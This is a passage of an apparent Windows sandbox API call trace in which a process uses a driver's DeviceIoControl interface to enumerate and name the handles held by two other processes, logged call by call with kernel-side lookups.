hSourceHandle=0x80, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.838] CloseHandle (hObject=0xc0) returned 1 [0061.838] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.838] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.838] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.839] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.839] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0061.839] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.839] PsAcquireProcessExitSynchronization () returned 0x0 [0061.839] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.839] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80038366d0, HandleInformation=0x0) returned 0x0 [0061.839] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.839] PsReleaseProcessExitSynchronization () returned 0x2 [0061.839] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.839] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa80038c27c4, Length=0x800, ReturnLength=0xfffff880054f8508 | out: ObjectNameInfo=0xfffffa80038c27c4, ReturnLength=0xfffff880054f8508) returned 0x0 [0061.839] ObfDereferenceObject (Object=0xfffffa80038366d0) returned 0x3 [0061.839] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.839] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.839] CloseHandle (hObject=0xc4) returned 1 [0061.839] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc4 [0061.839] GetCurrentProcess () returned 0xffffffffffffffff [0061.839] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x48, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.839] CloseHandle (hObject=0xc4) returned 1 [0061.839] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.839] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x70) returned 0x174c50 [0061.839] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x70, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.839] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.839] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.839] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0061.840] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.840] PsAcquireProcessExitSynchronization () returned 0x0 [0061.840] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.840] ObReferenceObjectByHandle (in: Handle=0x48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a003e2f260, HandleInformation=0x0) returned 0x0 [0061.840] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.840] PsReleaseProcessExitSynchronization () returned 0x2 [0061.840] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.840] ObQueryNameString (in: Object=0xfffff8a003e2f260, ObjectNameInfo=0xfffffa80038c3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.840] ObfDereferenceObject (Object=0xfffff8a003e2f260) returned 0x2 [0061.840] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.840] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.840] CloseHandle (hObject=0xc0) returned 1 [0061.840] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc0 [0061.840] GetCurrentProcess () returned 0xffffffffffffffff [0061.840] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x44, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.840] CloseHandle (hObject=0xc0) returned 1 [0061.840] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.840] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.840] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.840] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.840] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.840] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.840] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.840] PsAcquireProcessExitSynchronization () returned 0x0 [0061.840] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.840] ObReferenceObjectByHandle (in: Handle=0x44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003856250, HandleInformation=0x0) returned 0x0 [0061.840] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.840] PsReleaseProcessExitSynchronization () returned 0x2 [0061.840] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.840] ObQueryNameString (in: Object=0xfffffa8003856250, ObjectNameInfo=0xfffffa80038c4044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c4044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.841] ObfDereferenceObject (Object=0xfffffa8003856250) returned 0x2 [0061.841] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.841] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.841] CloseHandle (hObject=0xc4) returned 1 [0061.841] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc4 [0061.841] GetCurrentProcess () returned 0xffffffffffffffff [0061.841] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x3c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.841] CloseHandle (hObject=0xc4) returned 1 [0061.841] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.841] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.841] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.841] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.841] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.841] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.841] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.841] PsAcquireProcessExitSynchronization () returned 0x0 [0061.841] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.841] ObReferenceObjectByHandle (in: Handle=0x3c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800262f9d0, HandleInformation=0x0) returned 0x0 [0061.841] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.841] PsReleaseProcessExitSynchronization () returned 0x2 [0061.841] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.841] ObQueryNameString (in: Object=0xfffffa800262f9d0, ObjectNameInfo=0xfffffa80038bb7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038bb7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.841] ObfDereferenceObject (Object=0xfffffa800262f9d0) returned 0x2 [0061.841] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.841] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.841] CloseHandle (hObject=0xc0) returned 1 [0061.841] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc0 [0061.841] GetCurrentProcess () returned 0xffffffffffffffff [0061.841] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x38, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.841] CloseHandle (hObject=0xc0) returned 1 [0061.841] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.842] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x80) returned 0x174c50 [0061.842] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.842] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.842] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.842] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.842] PsAcquireProcessExitSynchronization () returned 0x0 [0061.842] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.842] ObReferenceObjectByHandle (in: Handle=0x38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80036e51c0, HandleInformation=0x0) returned 0x0 [0061.842] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.842] PsReleaseProcessExitSynchronization () returned 0x2 [0061.842] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.842] ObQueryNameString (in: Object=0xfffffa80036e51c0, ObjectNameInfo=0xfffffa800387e604, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa800387e604, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.842] ObfDereferenceObject (Object=0xfffffa80036e51c0) returned 0x2 [0061.842] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.842] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.842] CloseHandle (hObject=0xc4) returned 1 [0061.842] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc4 [0061.842] GetCurrentProcess () returned 0xffffffffffffffff [0061.842] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x28, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.842] CloseHandle (hObject=0xc4) returned 1 [0061.842] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.842] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x80) returned 0x174c50 [0061.842] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.842] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.842] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.842] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0061.842] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.842] PsAcquireProcessExitSynchronization () returned 0x0 [0061.842] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.842] ObReferenceObjectByHandle (in: Handle=0x28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003979370, HandleInformation=0x0) returned 0x0 [0061.842] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.842] PsReleaseProcessExitSynchronization () returned 0x2 [0061.842] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.843] ObQueryNameString (in: Object=0xfffffa8003979370, ObjectNameInfo=0xfffffa80038c3044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c3044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.843] ObfDereferenceObject (Object=0xfffffa8003979370) returned 0x4 [0061.843] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.843] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.843] CloseHandle (hObject=0xc0) returned 1 [0061.843] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x6c8) returned 0xc0 [0061.843] GetCurrentProcess () returned 0xffffffffffffffff [0061.843] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x18, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.843] CloseHandle (hObject=0xc0) returned 1 [0061.843] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.843] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x80) returned 0x174c50 [0061.843] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x80, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.843] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.843] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.843] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x22, lpOverlapped=0x0) returned 1 [0061.843] PsLookupProcessByProcessId (in: ProcessId=0x6c8, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.843] PsAcquireProcessExitSynchronization () returned 0x0 [0061.843] KeStackAttachProcess (in: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa800387fb30, ApcState=0xfffff880054f85d0) [0061.843] ObReferenceObjectByHandle (in: Handle=0x18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffff8a0001c97c0, HandleInformation=0x0) returned 0x0 [0061.843] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.843] PsReleaseProcessExitSynchronization () returned 0x2 [0061.843] ObfDereferenceObject (Object=0xfffffa800387fb30) returned 0xe [0061.843] ObQueryNameString (in: Object=0xfffff8a0001c97c0, ObjectNameInfo=0xfffffa80038c2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.843] ObfDereferenceObject (Object=0xfffff8a0001c97c0) returned 0xc3 [0061.843] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.843] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.843] CloseHandle (hObject=0xc4) returned 1 [0061.843] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x88c) returned 0xc4 [0061.843] GetCurrentProcess () returned 0xffffffffffffffff [0061.843] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x78, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.843] CloseHandle (hObject=0xc4) returned 1 [0061.843] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.844] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.844] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.844] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.844] NtQueryInformationProcess (in: ProcessHandle=0xc0, ProcessInformationClass=0x0, ProcessInformation=0x12d538, ProcessInformationLength=0x30, ReturnLength=0x12d4b0 | out: ProcessInformation=0x12d538, ReturnLength=0x12d4b0) returned 0xc0000022 [0061.844] CloseHandle (hObject=0xc0) returned 1 [0061.844] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x88c) returned 0xc0 [0061.844] GetCurrentProcess () returned 0xffffffffffffffff [0061.844] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x60, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.844] CloseHandle (hObject=0xc0) returned 1 [0061.844] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.844] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.844] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.844] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.844] NtQueryInformationThread (in: ThreadHandle=0xc4, ThreadInformationClass=0x0, ThreadInformation=0x12d508, ThreadInformationLength=0x30, ReturnLength=0x12d4b0 | out: ThreadInformation=0x12d508, ReturnLength=0x12d4b0) returned 0xc0000022 [0061.844] CloseHandle (hObject=0xc4) returned 1 [0061.844] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x88c) returned 0xc4 [0061.844] GetCurrentProcess () returned 0xffffffffffffffff [0061.844] DuplicateHandle (in: hSourceProcessHandle=0xc4, hSourceHandle=0x58, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc0) returned 1 [0061.844] CloseHandle (hObject=0xc4) returned 1 [0061.844] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.844] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x88) returned 0x174c50 [0061.844] NtQueryObject (in: Handle=0xc0, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x88, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.844] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.844] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.844] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec0090, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec0090*, lpBytesReturned=0x12d450*=0x5e, lpOverlapped=0x0) returned 1 [0061.844] PsLookupProcessByProcessId (in: ProcessId=0x88c, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0061.844] PsAcquireProcessExitSynchronization () returned 0x0 [0061.844] KeStackAttachProcess (in: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa80037bcb30, ApcState=0xfffff880054f85d0) [0061.844] ObReferenceObjectByHandle (in: Handle=0x58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d401, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8003038b60, HandleInformation=0x0) returned 0x0 [0061.844] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0061.844] PsReleaseProcessExitSynchronization () returned 0x2 [0061.845] ObfDereferenceObject (Object=0xfffffa80037bcb30) returned 0xe [0061.845] ObQueryNameString (in: Object=0xfffffa8003038b60, ObjectNameInfo=0xfffffa80038c5044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038c5044, ReturnLength=0xfffff880054f8550) returned 0x0 [0061.845] ObfDereferenceObject (Object=0xfffffa8003038b60) returned 0x10f [0061.845] IofCompleteRequest (Irp=0xfffffa800d08d010, PriorityBoost=0) [0061.845] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec0090 | out: hHeap=0x150000) returned 1 [0061.845] CloseHandle (hObject=0xc0) returned 1 [0061.845] OpenProcess (dwDesiredAccess=0x40, bInheritHandle=0, dwProcessId=0x88c) returned 0xc0 [0061.845] GetCurrentProcess () returned 0xffffffffffffffff [0061.845] DuplicateHandle (in: hSourceProcessHandle=0xc0, hSourceHandle=0x54, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x12d470, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x0 | out: lpTargetHandle=0x12d470*=0xc4) returned 1 [0061.845] CloseHandle (hObject=0xc0) returned 1 [0061.845] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x0, ObjectInformationLength=0x0, ReturnLength=0x12d4b0 | out: ObjectInformation=0x0, ReturnLength=0x12d4b0) returned 0xc0000004 [0061.845] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x78) returned 0x174c50 [0061.845] NtQueryObject (in: Handle=0xc4, ObjectInformationClass=0x2, ObjectInformation=0x174c50, ObjectInformationLength=0x78, ReturnLength=0x0 | out: ObjectInformation=0x174c50, ReturnLength=0x0) returned 0x0 [0061.845] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x174c50 | out: hHeap=0x150000) returned 1 [0061.845] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec0090 [0061.845] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, 